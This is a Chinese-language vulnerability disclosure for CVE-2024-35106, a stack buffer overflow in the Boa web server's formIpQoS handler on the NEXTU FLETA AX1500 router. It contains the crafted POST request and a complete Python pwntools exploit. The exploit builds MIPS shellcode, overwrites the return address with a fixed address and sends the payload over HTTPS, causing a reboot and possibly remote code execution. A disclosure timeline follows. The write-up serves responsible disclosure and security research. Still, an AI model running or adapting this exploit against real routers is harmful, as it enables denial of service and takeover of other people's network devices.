
CVE-2024-35106的概念验证漏洞利用,针对NEXTU FLETA AX1500 Wi-Fi 6路由器中的栈缓冲区溢出。演示通过向Boa Web服务器的IP QoS处理程序发送特制POST请求,实现拒绝服务和潜在的远程代码执行。
本文档描述了如何通过 CVE-2024-35106 漏洞在 EZNET FLETA WiFI 路由器上执行漏洞利用。
[CVE ID] CVE-2024-35106
[产品供应商] NEXTU
[产品] FLATA AX1500 Wifi6 路由器
[版本] 1.0.3
[漏洞类型] 缓冲区溢出
该路由器采用基于 Realtek 芯片组的 MIPS 架构,并且为小端序。
路由器固件版本为 v1.0.3。
该路由器使用嵌入式 Web 服务器 Boa,其最后一个版本发布于 2005 年。不过,该路由器使用 Boa Web 服务器来提供管理后台网页服务,以控制路由器固件。
触发该漏洞所需的条件如下:
在路由器的管理后台 Web 管理页面上为内网 IP 设置 QoS 时,由于未验证 IP QoS 规则名称的字节长度,导致了栈缓冲区溢出。
当 IP QoS 配置请求参数传递给 Boa 的处理函数 formIpQoS 时,处理函数会提取 entry_name 参数的字节长度,并使用 strcpy() 函数将其复制到 acStack_1c0 变量中。

在该函数中,使用 strcpy 函数复制缓冲区,而未验证缓冲区大小。

由于存储复制的 entry_name 参数二进制数据的变量 acStack_1c0 固定为 16 字节,因此使用不限制所复制数据大小的 strcpy() 函数将导致缓冲区溢出。


攻击向量的 POST 请求和参数如下。
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
攻击者准备的二进制载荷包含两部分:任意二进制代码和任意地址,并将其设置在 POST 请求的 entry_name 参数中。
因此,位于 formIpQos 处理函数栈内存中的 RET 地址会因栈溢出而被覆盖为任意地址。
(0x7f8548cc 是 formIpQoS 处理函数的栈 RET 地址)
然而,由于处理函数必须正常完成执行,因此必须预先保存 10 条 IP QoS 规则集。

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
请注意,在执行针对该漏洞的此 POC 时,必定会导致 DoS。但任意远程代码执行可能不会发生。
该漏洞可被利用进行 DoS 攻击和潜在的 RCE 攻击。
2024-05-16:分配 CVE 编号 - CVE-2024-35106
2024-05-16:向厂商报告漏洞
2024-06-05:收到厂商关于漏洞的回复
Ku In Hoe
助理教授 Seonghoon Jeong(淑明女子大学)